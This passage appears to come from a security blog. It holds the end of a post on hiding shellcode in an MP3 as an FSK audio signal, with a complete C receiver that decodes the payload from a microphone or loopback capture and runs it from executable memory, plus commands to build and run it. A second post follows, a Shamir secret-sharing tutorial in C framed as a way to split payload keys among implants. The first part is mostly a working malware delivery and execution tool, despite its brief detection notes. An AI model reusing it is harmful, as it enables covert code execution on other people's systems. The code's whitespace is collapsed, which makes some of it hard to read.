gain_candidates=[args.fsk_dbfs]whilegain_candidates[-1]<-6.0:gain_candidates.append(min(-6.0,gain_candidates[-1]+3.0))verification=Noneused_gain=args.fsk_dbfsforgainingain_candidates:mixed=mix_signal(carrier,signal,offset_samples,gain)encode_mp3(mixed,output_path,args.bitrate)verification=verify_mp3(output_path,frame,expected_starts)used_gain=gainifverificationisnotNone:breakprint(f"[=^..^=] verification failed at {gain:.1f} dBFS; retrying stronger",file=sys.stderr)ifverificationisNone:raiseRuntimeError("MP3 was created, but the FSK frame did not survive compression")repeat_index,recovered_sample=verificationchecksum=frame[-1]print(f"[=^..^=] input        : {input_path}")print(f"[=^..^=] output       : {output_path}")print(f"[=^..^=] payload      : test /bin/sh, {len(payload)} bytes")print(f"[=^..^=] frame        : {len(frame)} bytes, checksum 0x{checksum:02x}")print(f"[=^..^=] modulation   : {FREQ_SPACE}/{FREQ_MARK} Hz BFSK, {BAUD_RATE} baud")print(f"[=^..^=] placement    : {args.offset:.2f}s, {args.repeats} copies, {used_gain:.1f} dBFS")print(f"[=^..^=] verification : PASS, copy {repeat_index}, sample {recovered_sample}")defparse_args()->argparse.Namespace:parser=argparse.ArgumentParser(description="embed a verified demo payload into a music MP3.")parser.add_argument("input",help="source music file (MP3 or any ffmpeg-supported audio)")parser.add_argument("output",help="output .mp3 path")parser.add_argument("--offset",type=float,default=2.0,help="first frame position in seconds")parser.add_argument("--repeats",type=int,default=3,help="number of frame copies (1-5)")parser.add_argument("--gap",type=float,default=0.25,help="silence between frame copies")parser.add_argument("--fsk-dbfs",type=float,default=-12.0,help="initial FSK level in dBFS")parser.add_argument("--bitrate",default="320k",help="MP3 bitrate passed to ffmpeg")returnparser.parse_args()if__name__=="__main__":try:embed_and_verify(parse_args())except(FileNotFoundError,RuntimeError,ValueError)aserror:print(f"error: {error}",file=sys.stderr)raiseSystemExit(1)

Receiver (receiver.c):

/*
 * receiver.c
 * updated for part 4 RnD
 * real-time FSK acoustic shellcode receiver (Linux / ALSA)
 * author : @cocomelonc
 */#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<stdint.h>
#include<math.h>
#include<sys/mman.h>
#include<alsa/asoundlib.h>// Bell 202 and DSP Constants#define PI          3.14159265358979323846
#define SAMPLE_RATE 48000
#define BAUD_RATE   300
#define FREQ_MARK   2200          // bit 1 - high tone
#define FREQ_SPACE  1200          // bit 0 - low tone
#define SPB         (SAMPLE_RATE / BAUD_RATE)   // 160 samples per bit
// Acoustic playback can start late and its sample clock is not exactly 48 kHz.#define CAPTURE_SECS  12               // enough time for all repeated frames
#define N_OFFSETS     32               // coarse alignment over one bit period
#define OFFSET_STEP   (SPB / N_OFFSETS)
#define MAX_PAYLOAD   512
#define TIMING_MIN    158.0            // +/-1.25% sample-clock search
#define TIMING_MAX    162.0
#define TIMING_STEP   0.1
#define START_RADIUS  12
staticintdecode_only=0;// frame preamble for synchronizationstaticconstuint8_tPREAMBLE[]={0xAA,0xAA,0xAA,0xAA,0x7E};#define PREAMBLE_LEN  5
#define PREAMBLE_BITS (PREAMBLE_LEN * 8)        // 40 bits
// Goertzel algorithm: detects the magnitude of a specific frequency in a block of samplesstaticdoublegoertzel(constint16_t*s,intn,doublefreq){doubleomega=2.0*PI*freq/(double)SAMPLE_RATE;doublecoeff=2.0*cos(omega);doubleq1=0.0,q2=0.0,q0;for(inti=0;i<n;i++){q0=coeff*q1-q2+(double)s[i]/32768.0;q2=q1;q1=q0;}returnq1*q1+q2*q2-coeff*q1*q2;}// ALSA: open and configure capture devicestaticsnd_pcm_t*open_capture(constchar*device){snd_pcm_t*h;intrc=snd_pcm_open(&h,device,SND_PCM_STREAM_CAPTURE,0);if(rc<0){fprintf(stderr,"[=^..^=] cannot open '%s': %s\n",device,snd_strerror(rc));returnNULL;}rc=snd_pcm_set_params(h,SND_PCM_FORMAT_S16_LE,SND_PCM_ACCESS_RW_INTERLEAVED,1,SAMPLE_RATE,1,100000);if(rc<0){fprintf(stderr,"[=^..^=] set_params failed: %s\n",snd_strerror(rc));snd_pcm_close(h);returnNULL;}returnh;}// capture CAPTURE_SECS seconds into a heap bufferstaticint16_t*capture_audio(snd_pcm_t*h,int*out_samples){inttotal=CAPTURE_SECS*SAMPLE_RATE;int16_t*buf=malloc((size_t)total*sizeof(int16_t));if(!buf){fprintf(stderr,"[=^..^=] OOM\n");returnNULL;}intgot=0,prev_sec=CAPTURE_SECS+1;while(got<total){intwant=total-got;if(want>4800)want=4800;/* 0.1 s chunks */intrc=snd_pcm_readi(h,buf+got,(snd_pcm_uframes_t)want);if(rc==-EPIPE){snd_pcm_prepare(h);continue;}if(rc<0){fprintf(stderr,"\n[=^..^=] read error: %s\n",snd_strerror(rc));free(buf);returnNULL;}got+=rc;intsecs_left=CAPTURE_SECS-got/SAMPLE_RATE;if(secs_left!=prev_sec){prev_sec=secs_left;printf("\r[=^..^=] listening... %2d s remaining   ",secs_left);fflush(stdout);}}printf("\r[=^..^=] capture complete - %d samples (%d s)          \n\n",got,CAPTURE_SECS);*out_samples=got;returnbuf;}// bit extraction: 8 bits LSB-first from a flat bit arraystaticuint8_tget_byte(constuint8_t*bits,intbit_offset){uint8_tres=0;for(inti=0;i<8;i++)if(bits[bit_offset+i])res|=(uint8_t)(1u<<i);returnres;}staticintexpected_preamble_bit(intbit_index){intbyte_index=bit_index/8;intin_byte=bit_index%8;return(PREAMBLE[byte_index]>>in_byte)&1;}// Decode from the middle 84% of a symbol. Ignoring symbol edges makes the// decision less sensitive to room echoes and small clock errors.staticinttimed_bit(constint16_t*audio,intn_samples,doubleframe_start,doublesamples_per_bit,intbit_index,double*confidence){doublesymbol_start=frame_start+bit_index*samples_per_bit;intbegin=(int)llround(symbol_start+0.08*samples_per_bit);intend=(int)llround(symbol_start+0.92*samples_per_bit);if(begin<0||end>n_samples||end<=begin)return-1;doublemark=goertzel(audio+begin,end-begin,FREQ_MARK);doublespace=goertzel(audio+begin,end-begin,FREQ_SPACE);doubletotal=mark+space+1.0e-20;if(confidence)*confidence=fabs(mark-space)/total;returnmark>space?1:0;}staticinttimed_byte(constint16_t*audio,intn_samples,doubleframe_start,doublesamples_per_bit,intbit_offset,uint8_t*value){uint8_tresult=0;for(inti=0;i<8;i++){intbit=timed_bit(audio,n_samples,frame_start,samples_per_bit,bit_offset+i,NULL);if(bit<0)return0;if(bit)result|=(uint8_t)(1u<<i);}*value=result;return1;}// The fixed-SPB pass locates a rough preamble. This pass estimates the actual// symbol start and period from the 40 known preamble bits.staticintrefine_timing(constint16_t*audio,intn_samples,intrough_start,double*best_start,double*best_spb,int*best_matches,double*best_score){*best_matches=-1;*best_score=-1.0e30;for(doublespb=TIMING_MIN;spb<=TIMING_MAX+0.001;spb+=TIMING_STEP){for(intdelta=-START_RADIUS;delta<=START_RADIUS;delta++){doublestart=rough_start+delta;intmatches=0;doublescore=0.0;intvalid=1;for(intbit_index=0;bit_index<PREAMBLE_BITS;bit_index++){doubleconfidence=0.0;intbit=timed_bit(audio,n_samples,start,spb,bit_index,&confidence);if(bit<0){valid=0;break;}intexpected=expected_preamble_bit(bit_index);if(bit==expected){matches++;score+=confidence;}else{score-=confidence;}}if(valid&&(matches>*best_matches||(matches==*best_matches&&score>*best_score))){*best_matches=matches;*best_score=score;*best_start=start;*best_spb=spb;}}}return*best_matches>=PREAMBLE_BITS-1;}// demodulate at a given sample offset -> allocated bit arraystaticuint8_t*demodulate(constint16_t*audio,intn_samples,intoffset,int*out_bits){intusable=n_samples-offset;intn_bits=usable/SPB;if(n_bits<=0){*out_bits=0;returnNULL;}uint8_t*bits=malloc((size_t)n_bits);if(!bits){*out_bits=0;returnNULL;}constint16_t*p=audio+offset;for(inti=0;i<n_bits;i++){doublepm=goertzel(p+i*SPB,SPB,FREQ_MARK);doubleps=goertzel(p+i*SPB,SPB,FREQ_SPACE);bits[i]=(pm>ps)?1:0;}*out_bits=n_bits;returnbits;}staticintexecute_payload(uint8_t*payload,uint16_tpay_len){printf("[=^..^=] payload length : %u bytes\n\n",pay_len);printf("[=^..^=] shellcode recovered (%u bytes):\n",pay_len);for(inti=0;i<(int)pay_len;i++){printf("%02x ",payload[i]);if((i+1)%16==0)printf("\n");}if(pay_len%16!=0)printf("\n");printf("\n");if(decode_only){printf("[=^..^=] decode-only: payload execution skipped\n");free(payload);return1;}void*mem=mmap(NULL,pay_len,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE,-1,0);if(mem==MAP_FAILED){perror("[=^..^=] mmap");free(payload);return0;}memcpy(mem,payload,pay_len);free(payload);printf("[=^..^=] jumping to shellcode...  =^..^=\n");((void(*)())mem)();munmap(mem,pay_len);return1;}staticinttry_candidate(constint16_t*audio,intn_samples,intoffset,intpre_bit){intrough_start=offset+pre_bit*SPB;doubleframe_start=0.0,samples_per_bit=SPB,timing_score=0.0;inttiming_matches=0;if(!refine_timing(audio,n_samples,rough_start,&frame_start,&samples_per_bit,&timing_matches,&timing_score)){return0;}intcursor=PREAMBLE_BITS;uint8_tl1=0,l2=0;if(!timed_byte(audio,n_samples,frame_start,samples_per_bit,cursor,&l1))return0;cursor+=8;if(!timed_byte(audio,n_samples,frame_start,samples_per_bit,cursor,&l2))return0;cursor+=8;uint16_tpay_len=((uint16_t)l1<<8)|l2;if(pay_len==0||pay_len>MAX_PAYLOAD)return0;doubleframe_end=frame_start+(PREAMBLE_BITS+16+((int)pay_len+1)*8)*samples_per_bit;if(frame_start<0.0||frame_end>n_samples)return0;uint8_t*payload=malloc(pay_len);if(!payload)return0;uint8_tchecksum_calc=0;for(inti=0;i<(int)pay_len;i++){if(!timed_byte(audio,n_samples,frame_start,samples_per_bit,cursor,&payload[i])){free(payload);return0;}checksum_calc^=payload[i];cursor+=8;}uint8_tchecksum_rx=0;if(!timed_byte(audio,n_samples,frame_start,samples_per_bit,cursor,&checksum_rx)){free(payload);return0;}printf("[=^..^=] offset %3d: preamble bit %d, timing %.2f samples/bit, ""%d/%d sync bits\n",offset,pre_bit,samples_per_bit,timing_matches,PREAMBLE_BITS);if(checksum_calc!=checksum_rx){printf("[=^..^=] offset %3d: checksum FAIL calc=0x%02x rx=0x%02x; ""trying next frame\n",offset,checksum_calc,checksum_rx);free(payload);return0;}printf("[=^..^=] offset %3d: checksum OK (0x%02x)\n",offset,checksum_rx);returnexecute_payload(payload,pay_len);}// Try every preamble at one coarse alignment. The old receiver returned after// the first corrupt frame and never reached transmitter copies 2 and 3.staticinttry_offset(constint16_t*audio,intn_samples,intoffset){intn_bits=0;uint8_t*bits=demodulate(audio,n_samples,offset,&n_bits);if(!bits)return0;intfound=0;intlimit=n_bits-PREAMBLE_BITS-24;for(intbit_index=0;bit_index<limit;bit_index++){intmatch=1;for(intbyte_index=0;byte_index<PREAMBLE_LEN&&match;byte_index++){if(get_byte(bits,bit_index+byte_index*8)!=PREAMBLE[byte_index])match=0;}if(!match)continue;found++;if(try_candidate(audio,n_samples,offset,bit_index)){free(bits);return1;}bit_index+=PREAMBLE_BITS-1;}if(!found){printf("[=^..^=] offset %3d: preamble not found\n",offset);}free(bits);return0;}staticint16_t*read_raw_audio(constchar*path,int*out_samples){FILE*file=fopen(path,"rb");if(!file){perror("[=^..^=] raw input");returnNULL;}intmax_samples=CAPTURE_SECS*SAMPLE_RATE;int16_t*audio=malloc((size_t)max_samples*sizeof(*audio));if(!audio){fclose(file);returnNULL;}size_tcount=fread(audio,sizeof(*audio),(size_t)max_samples,file);if(ferror(file)){perror("[=^..^=] raw read");free(audio);fclose(file);returnNULL;}fclose(file);if(count==0){fprintf(stderr,"[=^..^=] raw input is empty\n");free(audio);returnNULL;}*out_samples=(int)count;returnaudio;}staticintscan_audio(constint16_t*audio,intn_samples){printf("[=^..^=] scanning %d alignment offsets (step = %d samples)...\n\n",N_OFFSETS,OFFSET_STEP);for(intt=0;t<N_OFFSETS;t++){intoffset=t*OFFSET_STEP;if(try_offset(audio,n_samples,offset))return1;}return0;}// mainintmain(intargc,char**argv){if(argc>=2&&strcmp(argv[1],"--raw")==0){if(argc!=3){fprintf(stderr,"usage: %s --raw capture.s16le\n",argv[0]);return2;}decode_only=1;intn_samples=0;int16_t*audio=read_raw_audio(argv[2],&n_samples);if(!audio)return1;printf("[=^..^=] raw input     : %s\n",argv[2]);printf("[=^..^=] raw format    : mono s16le, %d Hz\n",SAMPLE_RATE);printf("[=^..^=] raw samples   : %d (%.2f s)\n\n",n_samples,(double)n_samples/SAMPLE_RATE);intfound=scan_audio(audio,n_samples);free(audio);returnfound?0:1;}constchar*device=(argc>1)?argv[1]:"default";printf("[=^..^=] receiver  Bell 202 FSK  %d/%d Hz  %d baud  %d kHz\n",FREQ_MARK,FREQ_SPACE,BAUD_RATE,SAMPLE_RATE/1000);printf("[=^..^=] capture device : %s\n",device);printf("[=^..^=] SPB            : %d samples per bit\n",SPB);printf("[=^..^=] strategy       : %d offsets + clock recovery + all frames\n\n",N_OFFSETS);snd_pcm_t*handle=open_capture(device);if(!handle)return1;intn_samples=0;int16_t*audio=capture_audio(handle,&n_samples);snd_pcm_close(handle);if(!audio)return1;intfound=scan_audio(audio,n_samples);free(audio);if(found)return0;printf("\n[=^..^=] no valid frame found in %d s of audio\n",CAPTURE_SECS);printf("transmitter: python3 transmit_live.py (device: hw:Loopback,0,0)\n");return1;}

demo and decoding test

Compile the receiver:

gcc -O2 receiver.c -o receiver -lasound-lm

For a deterministic test, decode the first 12 seconds of the MP3 to the exact raw format expected by the receiver:

ffmpeg -t 12 -i demo.mp3 -f s16le -acodec pcm_s16le -ar 48000 -ac 1 demo.s16le

./receiver --raw demo.s16le

The --raw mode is decode-only: it verifies and prints the recovered bytes but deliberately skips execution. On my generated demo.mp3, the result is:

This proves that the complete frame survives real MP3 encoding and decoding. It does not, by itself, prove reliability through arbitrary speakers, microphones, rooms, or volume levels. Those introduce a separate acoustic channel, and success depends mainly on signal-to-noise ratio, frequency response, echo, and clock mismatch.

For the live experiment, start the receiver and then play the MP3 immediately:

./receiver default
ffplay -nodisp-autoexit demo.mp3

I might add something interesting and show it at my next conference presentation. For a conference demo, an ALSA loopback is more reproducible than an open-air microphone. The exact device numbers must be checked using aplay -l and arecord -l.

defensive perspective

This channel is not invisible. A defender can detect persistent energy around the two carrier frequencies, search decoded audio for the repeated preamble, or alert when an audio-capturing process later allocates executable memory. The strongest detection combines both sides: unusual spectral structure in the media channel and suspicious behavior in the receiver process.

conclusion

Part 3 solved coarse symbol alignment for a live FSK signal. Part 4 adds a lossy music container and deals with the new failure modes: MP3 distortion, repeated frames, delayed playback, symbol-clock drift, and boundary interference.

The key engineering rule is simple: never claim that a transport works merely because the output file was created. Decode the final artifact, recover the complete frame, and verify its checksum.

The complete source code is available in the signal-malware-delivery-poc repository.
demo video - telegram

This is a practical case for educational purposes only.

Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 45 - Shamir Secret Sharing. Simple C example.

Wed, 26 Aug 2026 09:37:29 +0000

﷽

Hello, cybersecurity enthusiasts and white hackers!

In previous posts of the malware and cryptography series, we mostly looked at payload hiding: block ciphers, stream ciphers, S-boxes, DFT tricks, and other ways to transform bytes before executing or storing them. Today I want to look at a different problem: how do we split a secret so that no single person, file, or server has enough information to recover it?

This is where Shamir’s Secret Sharing becomes useful.

The idea is elegant: split a secret into N shares, choose a threshold K, and make sure that:

any K shares reconstruct the original secret;
any K-1 shares reveal nothing about it.

This is not “encrypt with password A and password B”. It is not XORing chunks together. It is a real threshold construction with information-theoretic secrecy.

For malware research and red team tooling, this idea appears in many places:

split a decryption key between multiple operators;
require several implants or stages to cooperate before revealing a payload;
avoid storing the full secret in one binary or one config file;
build training labs for blue teamers to understand distributed key material;
study how advanced tooling can hide operational secrets without inventing new crypto.

In this post we will implement a tiny proof-of-concept in pure C for Linux. It also cross-compiles with MinGW for Windows. No OpenSSL, no external libraries, no Python in the implementation. Python is used only later for plotting benchmark results.

This is educational/research code only. Do not use it for production secret storage without a serious security review.

Shamir Secret Sharing

Shamir’s Secret Sharing was introduced by Adi Shamir in 1979 in the paper How to Share a Secret. The construction is based on a simple mathematical fact:

A polynomial of degree $K-1$ is uniquely determined by $K$ distinct points.

For example, a line needs two points, a parabola needs three points, and so on.

In our case, the secret is the value of the polynomial at zero:

\[f(0) = s\]

To split a secret byte $s$ with threshold $K$, we build a random polynomial:

\[f(x) = s + a_1 x + a_2 x^2 + \dots + a_{K-1}x^{K-1}\]

where $a_1, a_2, \dots, a_{K-1}$ are random coefficients.

Then we evaluate this polynomial at non-zero points:

\[share_i = (x_i, f(x_i))\]

For example:

share 1: x = 1, y = f(1)
share 2: x = 2, y = f(2)
share 3: x = 3, y = f(3)
...

The secret is not stored directly in any share. It is hidden as the value of the polynomial at $x=0$.

why GF(2^8)?

In this implementation, I split files byte-by-byte. That means every byte is a value from 0 to 255. It is tempting to do math modulo 256, but $\mathbb{Z}/256\mathbb{Z}$ is not a field. Some non-zero values do not have multiplicative inverses. For Shamir reconstruction we need division, so we need a field.

The natural byte-sized field is:

\[\mathrm{GF}(2^8)\]

I use the same irreducible polynomial used by AES:

\[x^8 + x^4 + x^3 + x + 1\]

In hexadecimal form, this is:

0x11b

In C code, after shifting a byte left, the high bit overflow is reduced with 0x1b:

if(hi)a^=0x1bU;

This is the standard AES byte-field reduction logic.

Addition in $\mathrm{GF}(2^8)$ is XOR:

\[a + b = a \oplus b\]

Subtraction is the same operation, because the field has characteristic two:

\[a - b = a + b = a \oplus b\]

This is why Lagrange interpolation in this field looks a little unusual but remains clean.

Lagrange reconstruction

Given any $K$ shares:

\[(x_1, y_1), (x_2, y_2), \dots, (x_K, y_K)\]

we reconstruct the secret by evaluating the interpolation polynomial at zero:

\[f(0) = \sum_{i=1}^{K} y_i \cdot \ell_i(0)\]

where:

\[\ell_i(0) = \prod_{j=1, j \neq i}^{K} \frac{0 - x_j}{x_i - x_j}\]

In $\mathrm{GF}(2^8)$, subtraction is XOR, so:

\[0 - x_j = x_j\]

and:

\[x_i - x_j = x_i \oplus x_j\]

Therefore the formula used in the code is:

\[f(0) = \bigoplus_{i=1}^{K} y_i \cdot \prod_{j=1, j \neq i}^{K} \frac{x_j}{x_i \oplus x_j}\]

This is exactly what the interpolate_at_zero function does.

tiny file format

This PoC writes every share as a tiny text header plus raw binary bytes:

TINY-SHAMIR-V1 k=3 n=5 x=1 len=1234
<binary share bytes>

where:

k is the threshold;
n is the total number of generated shares;
x is the share coordinate;
len is the original secret length;
the rest of the file is one byte per original secret byte.

There is no IETF RFC for this exact raw container. The cryptographic construction is Shamir’s original scheme; the field arithmetic uses the AES/FIPS-197 byte field; the container is intentionally small and documented for research.

practical example

Let’s start from simple C example. The project structure is simple: only one C file is required:

tree -h ./

GF multiplication

The first important function is multiplication in $\mathrm{GF}(2^8)$:

staticuint8_tgf_mul_slow(uint8_ta,uint8_tb){uint8_tp=0;for(inti=0;i<8;i++){if(b&1U)p^=a;uint8_thi=(uint8_t)(a&0x80U);a=(uint8_t)(a<<1);if(hi)a^=0x1bU;b=(uint8_t)(b>>1);}returnp;}

This is the classic “Russian peasant multiplication” style used in AES implementations:

if the low bit of b is set, XOR the current a into the product;
multiply a by $x$, implemented as left shift;
if the high bit overflowed, reduce by the AES polynomial;
shift b right and continue.

This function is simple, but calling it for every multiplication would be slow. So we build log/exp tables:

staticvoidgf_init(void){uint8_tx=1;for(inti=0;i<255;i++){gf_exp[i]=x;gf_log[x]=(uint8_t)i;x=gf_mul_slow(x,0x03U);}for(inti=255;i<512;i++)gf_exp[i]=gf_exp[i-255];gf_log[0]=0;gf_ready=1;}

The element 0x03 is primitive in this field. We generate all non-zero field elements and map:

value -> logarithm
logarithm -> value

Then multiplication becomes:

\[a \cdot b = \alpha^{\log(a) + \log(b)}\]

implemented as:

staticuint8_tgf_mul(uint8_ta,uint8_tb){if(!gf_ready)gf_init();if(a==0||b==0)return0;returngf_exp[gf_log[a]+gf_log[b]];}

Division is the same idea:

\[a / b = \alpha^{\log(a) - \log(b)}\]

staticuint8_tgf_div(uint8_ta,uint8_tb){if(!gf_ready)gf_init();if(b==0)die("division by zero in GF(256)");if(a==0)return0;returngf_exp[gf_log[a]+255-gf_log[b]];}

The + 255 avoids negative values because the non-zero multiplicative group has size 255.

polynomial evaluation

Each byte gets its own random polynomial. We evaluate it with Horner’s method:

staticuint8_tpoly_eval(constuint8_t*coef,intk,uint8_tx){uint8_ty=coef[k-1];for(inti=k-2;i>=0;i--){y=(uint8_t)(gf_mul(y,x)^coef[i]);}returny;}

For a 3-of-5 split, k = 3, so the polynomial is:

\[f(x) = c_0 \oplus c_1x \oplus c_2x^2\]

where:

c0 is the secret byte;
c1 and c2 are random bytes.

Horner form evaluates it like this:

\[f(x) = ((c_2x) \oplus c_1)x \oplus c_0\]

This is compact and avoids explicitly computing every power of $x$.

splitting

The split command does this:

for(uint64_tp=0;p<len;p++){coef[0]=secret[p];if(secure_random(coef+1,(size_t)(k-1))!=0)die("random source failed");for(intx=1;x<=n;x++){rows[(size_t)(x-1)*(size_t)len+(size_t)p]=poly_eval(coef,k,(uint8_t)x);}}

This is the heart of the implementation.

For every byte position p:

put the original secret byte into coef[0];
generate k-1 random coefficients;
evaluate the polynomial at x = 1, 2, ..., n;
store each result into the matching share row.

The important detail: the random polynomial is generated once per secret byte, then evaluated for all shares. If you accidentally generate new random coefficients separately for each share, reconstruction becomes impossible because the shares no longer lie on the same polynomial.

what about recovery?

Recovery reads at least K shares and reconstructs each byte independently:

for(uint64_tp=0;p<len;p++)secret[p]=interpolate_at_zero(shares,k,p);

The interpolation function is:

staticuint8_tinterpolate_at_zero(constshare_t*shares,intk,uint64_tpos){uint8_tacc=0;for(inti=0;i<k;i++){uint8_txi=shares[i].x;uint8_tyi=shares[i].y[pos];uint8_tnum=1;uint8_tden=1;for(intj=0;j<k;j++){if(i==j)continue;uint8_txj=shares[j].x;num=gf_mul(num,xj);den=gf_mul(den,(uint8_t)(xi^xj));}acc^=gf_mul(yi,gf_div(num,den));}returnacc;}

For each share $i$, it builds the Lagrange basis coefficient:

\[\prod_{j \neq i} \frac{x_j}{x_i \oplus x_j}\]

Then it multiplies this coefficient by the share byte $y_i$, XORs all terms together, and obtains $f(0)$.

parser caveat

One subtle bug is worth discussing. Since the share file has a text header followed by binary data, do not parse the header with fscanf(... "\n"). In scanf, whitespace in the format string consumes arbitrary following whitespace. But binary share data can start with 0x09, 0x0a, 0x0d, or 0x20. If scanf eats the first binary byte, the share becomes “short”.

The safe approach is:

if(!fgets(header,sizeof(header),f))die("bad share header");if(sscanf(header,"%63s k=%hhu n=%hhu x=%hhu len=%"SCNu64,magic,&s.k,&s.n,&s.x,&s.len)!=5){die("bad share header");}

Read exactly one line with fgets, parse that line with sscanf, and then switch to raw fread.

This is one of those bugs that only appears when you start testing on a real dataset.

benchmark dataset

For research I generated a dataset with many files:

1200 files
2.4049 GiB total
64 KiB smallest file
31 MiB largest file

Then I ran the plotting helper:

python3 plot_dataset.py ./tiny-shamir ./dataset_1000 3 5 results_1000.csv results_1000.png

The helper does:

split every file as 3-of-5;
recover from the first three shares;
compare SHA-256 of original and recovered file;
write timings to CSV;
plot split/recover time.

As expected, split time grows roughly linearly with file size. Recovery is cheaper for 3-of-5, because reconstruction uses only K shares, while splitting evaluates the polynomial for all N shares.

mathematical proof

Why does this work?

A polynomial of degree $K-1$ over a field is uniquely determined by $K$ distinct points. In our scheme, the secret byte is:

\[s = f(0)\]

Every share gives one point on the polynomial:

\[(x_i, y_i) = (x_i, f(x_i))\]

Given $K$ distinct points, Lagrange interpolation reconstructs the exact polynomial:

\[f(x) = \sum_{i=1}^{K} y_i \ell_i(x)\]

where:

\[\ell_i(x) = \prod_{j \neq i} \frac{x - x_j}{x_i - x_j}\]

Set $x=0$, and you get:

\[f(0) = \sum_{i=1}^{K} y_i \prod_{j \neq i} \frac{-x_j}{x_i - x_j}\]

In $\mathrm{GF}(2^8)$, minus is the same as plus, so:

\[-x_j = x_j\]

and:

\[x_i - x_j = x_i \oplus x_j\]

which gives the implementation formula:

\[f(0) = \bigoplus_{i=1}^{K} y_i \cdot \prod_{j \neq i} \frac{x_j}{x_i \oplus x_j}\]

Why do $K-1$ shares reveal nothing?

With $K-1$ known points, for every possible secret byte $s’$, there exists exactly one polynomial of degree at most $K-1$ that passes through:

the $K-1$ known share points;
the point $(0, s’)$.

So every candidate secret byte remains possible:

\[\Pr[\text{secret}=s' \mid K-1\ \text{shares}] = \frac{1}{256}\]

for every $s’$ in a byte field, assuming the coefficients are uniformly random.

This is information-theoretic secrecy. It does not depend on computational hardness.

full source code

So, full source code is looks like this (tiny_shamir.c):

/*
 * tiny_shamir.c
 * Tiny Shamir threshold secret sharing PoC over GF(2^8).
 * This is Shamir's Secret Sharing in a byte field. Each input byte becomes
 * the constant term of a random degree K-1 polynomial over GF(256). Share X
 * stores f(X) for every byte. Any K unique shares reconstruct f(0), which is
 * the original secret. K-1 shares reveal no information in the ideal model.
 *
 * There is no single IETF RFC that defines this raw file format. The field
 * arithmetic uses the standard AES polynomial x^8 + x^4 + x^3 + x + 1
 * (0x11b), as specified for GF(2^8) arithmetic in FIPS-197. The container
 * below is intentionally small and documented in code for research.
 *
 * author: cocomelonc
 * educational/research PoC only.
 * https://cocomelonc.github.io
 */#ifndef _WIN32
#define _POSIX_C_SOURCE 200809L
#endif
#include<errno.h>
#include<inttypes.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>#ifdef _WIN32
#include<windows.h>
#include<wincrypt.h>
#endif
#define TINY_MAGIC "TINY-SHAMIR-V1"
#define MAX_SHARES 255
#define MAX_PATH_LEN 4096
typedefstruct{uint8_tk;uint8_tn;uint8_tx;uint64_tlen;uint8_t*y;}share_t;staticuint8_tgf_exp[512];staticuint8_tgf_log[256];staticintgf_ready=0;staticvoiddie(constchar*msg){fprintf(stderr,"error: %s\n",msg);exit(1);}staticvoid*xmalloc(size_tn){void*p=malloc(n?n:1);if(!p)die("out of memory");returnp;}staticuint8_tgf_mul_slow(uint8_ta,uint8_tb){uint8_tp=0;for(inti=0;i<8;i++){if(b&1U)p^=a;uint8_thi=(uint8_t)(a&0x80U);a=(uint8_t)(a<<1);if(hi)a^=0x1bU;b=(uint8_t)(b>>1);}returnp;}staticvoidgf_init(void){uint8_tx=1;for(inti=0;i<255;i++){gf_exp[i]=x;gf_log[x]=(uint8_t)i;x=gf_mul_slow(x,0x03U);}for(inti=255;i<512;i++)gf_exp[i]=gf_exp[i-255];gf_log[0]=0;gf_ready=1;}staticuint8_tgf_mul(uint8_ta,uint8_tb){if(!gf_ready)gf_init();if(a==0||b==0)return0;returngf_exp[gf_log[a]+gf_log[b]];}staticuint8_tgf_div(uint8_ta,uint8_tb){if(!gf_ready)gf_init();if(b==0)die("division by zero in GF(256)");if(a==0)return0;returngf_exp[gf_log[a]+255-gf_log[b]];}staticuint8_tpoly_eval(constuint8_t*coef,intk,uint8_tx){uint8_ty=coef[k-1];for(inti=k-2;i>=0;i--){y=(uint8_t)(gf_mul(y,x)^coef[i]);}returny;}staticuint8_tinterpolate_at_zero(constshare_t*shares,intk,uint64_tpos){uint8_tacc=0;for(inti=0;i<k;i++){uint8_txi=shares[i].x;uint8_tyi=shares[i].y[pos];uint8_tnum=1;uint8_tden=1;for(intj=0;j<k;j++){if(i==j)continue;uint8_txj=shares[j].x;num=gf_mul(num,xj);den=gf_mul(den,(uint8_t)(xi^xj));}acc^=gf_mul(yi,gf_div(num,den));}returnacc;}staticintsecure_random(uint8_t*buf,size_tlen){#ifdef _WIN32
staticHCRYPTPROVh=0;if(!h){if(!CryptAcquireContextA(&h,NULL,NULL,PROV_RSA_FULL,CRYPT_VERIFYCONTEXT))return-1;}while(len>0){DWORDchunk=len>0x40000000U?0x40000000U:(DWORD)len;if(!CryptGenRandom(h,chunk,buf))return-1;buf+=chunk;len-=chunk;}return0;#else
staticFILE*rng=NULL;if(!rng)rng=fopen("/dev/urandom","rb");if(!rng)return-1;returnfread(buf,1,len,rng)==len?0:-1;#endif
}staticuint8_t*read_file(constchar*path,uint64_t*len){FILE*f=fopen(path,"rb");if(!f){perror(path);exit(1);}if(fseek(f,0,SEEK_END)!=0)die("fseek failed");longsz=ftell(f);if(sz<0)die("ftell failed");rewind(f);uint8_t*buf=xmalloc((size_t)sz);if(sz&&fread(buf,1,(size_t)sz,f)!=(size_t)sz)die("read failed");fclose(f);*len=(uint64_t)sz;returnbuf;}staticvoidwrite_file(constchar*path,constuint8_t*buf,uint64_tlen){FILE*f=fopen(path,"wb");if(!f){perror(path);exit(1);}if(len&&fwrite(buf,1,(size_t)len,f)!=(size_t)len)die("write failed");fclose(f);}staticvoidwrite_share(constchar*path,uint8_tk,uint8_tn,uint8_tx,constuint8_t*y,uint64_tlen){FILE*f=fopen(path,"wb");if(!f){perror(path);exit(1);}fprintf(f,"%s k=%u n=%u x=%u len=%"PRIu64"\n",TINY_MAGIC,k,n,x,len);if(len&&fwrite(y,1,(size_t)len,f)!=(size_t)len)die("share write failed");fclose(f);}staticshare_tread_share(constchar*path){share_ts;charmagic[64];charheader[256];memset(&s,0,sizeof(s));FILE*f=fopen(path,"rb");if(!f){perror(path);exit(1);}if(!fgets(header,sizeof(header),f))die("bad share header");if(sscanf(header,"%63s k=%hhu n=%hhu x=%hhu len=%"SCNu64,magic,&s.k,&s.n,&s.x,&s.len)!=5){die("bad share header");}if(strcmp(magic,TINY_MAGIC)!=0)die("bad share magic");if(s.k<2||s.n<s.k||s.x==0)die("bad share parameters");s.y=xmalloc((size_t)s.len);if(s.len&&fread(s.y,1,(size_t)s.len,f)!=(size_t)s.len)die("short 